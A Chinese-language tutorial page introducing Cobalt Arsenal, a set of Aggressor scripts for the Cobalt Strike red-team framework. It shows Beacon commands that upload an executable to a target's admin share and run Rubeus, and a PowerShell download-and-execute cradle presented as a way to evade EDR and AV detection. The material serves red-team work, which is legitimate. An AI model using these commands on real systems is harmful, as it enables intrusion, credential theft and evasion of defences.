Cobalt Arsenal 项目教程
1. 项目介绍
Cobalt Arsenal 是由 Mariusz Banach 开发的一个开源项目,旨在为 Cobalt Strike 提供一系列经过实战检验的 Aggressor 脚本。这些脚本极大地增强了 Cobalt Strike 的功能,使其在红队操作和对手模拟中更加灵活和高效。项目包含了超过 3300 行代码,涵盖了从 Beacon 管理到 Payload 生成等多个方面的实用工具和增强功能。
2. 项目快速启动
2.1 环境准备
在开始之前,确保你已经安装了 Cobalt Strike 4.0 或更高版本,并且熟悉基本的 Aggressor 脚本语法。
2.2 下载与安装
-
克隆项目到本地:
git clone https://github.com/mgeeky/cobalt-arsenal.git -
将项目中的
.cna脚本文件复制到 Cobalt Strike 的scripts目录下。
2.3 加载脚本
在 Cobalt Strike 中,通过 Script Manager 加载所需的 Aggressor 脚本。例如,加载 better-upload.cna:
script_import "better-upload.cna"
2.4 使用示例
以下是一个简单的使用示例,展示如何使用 better-upload.cna 脚本上传文件到目标主机:
beacon> upload /path/to/local/file.exe \\target\c$\path\to\remote\file.exe
3. 应用案例和最佳实践
3.1 案例一:自动化初始任务
使用 Beacon_Initial_Tasks.cna 脚本,可以在 Beacon 首次签到时自动执行预定义的任务。例如,设置初始任务为执行一个 PowerShell 命令:
beacon> set_initial_tasks "execute-assembly C:\\tools\\Rubeus.exe hash /password:test"
3.2 案例二:自定义 PowerShell 下载执行
使用 custom-powershell-hooks.cna 脚本,可以自定义 PowerShell 下载和执行的命令,避免被常见的 EDR 和 AV 检测:
beacon> set POWERSHELL_DOWNLOAD_CRADLE "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')"
4. 典型生态项目
4.1 Cobalt Strike 官方社区工具包
Cobalt Strike 官方提供了一个社区工具包(Community Kit),其中包含了大量由社区贡献的 Aggressor 脚本和工具,可以与 Cobalt Arsenal 结合使用,进一步提升红队操作的效率。
4.2 Outflank Security Tooling
Outflank Security Tooling 是一个精选的进攻性安全工具集,设计用于增强 Cobalt Strike 的规避能力。通过与 Cobalt Strike 结合使用,可以扩展红队操作的范围和深度。
4.3 Core Impact
Core Impact 是 Fortra 提供的一款渗透测试工具,可以与 Cobalt Strike 协同工作,共享资源并部署 Beacon 进行会话传递和隧道功能。结合使用可以提供更全面的渗透测试解决方案。
kernelopenEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。C038
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
kylin-wayland-compositorkylin-wayland-compositor或kylin-wlcom(以下简称kywc)是一个基于wlroots编写的wayland合成器。 目前积极开发中,并作为默认显示服务器随openKylin系统发布。 该项目使用开源协议GPL-1.0-or-later,项目中来源于其他开源项目的文件或代码片段遵守原开源协议要求。C00
PaddleOCR-VLPaddleOCR-VL 是一款顶尖且资源高效的文档解析专用模型。其核心组件为 PaddleOCR-VL-0.9B,这是一款精简却功能强大的视觉语言模型(VLM)。该模型融合了 NaViT 风格的动态分辨率视觉编码器与 ERNIE-4.5-0.3B 语言模型,可实现精准的元素识别。Python00
GLM-4.7GLM-4.7上线并开源。新版本面向Coding场景强化了编码能力、长程任务规划与工具协同,并在多项主流公开基准测试中取得开源模型中的领先表现。 目前,GLM-4.7已通过BigModel.cn提供API,并在z.ai全栈开发模式中上线Skills模块,支持多模态任务的统一规划与协作。Jinja00
agent-studioopenJiuwen agent-studio提供零码、低码可视化开发和工作流编排,模型、知识库、插件等各资源管理能力TSX0118
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00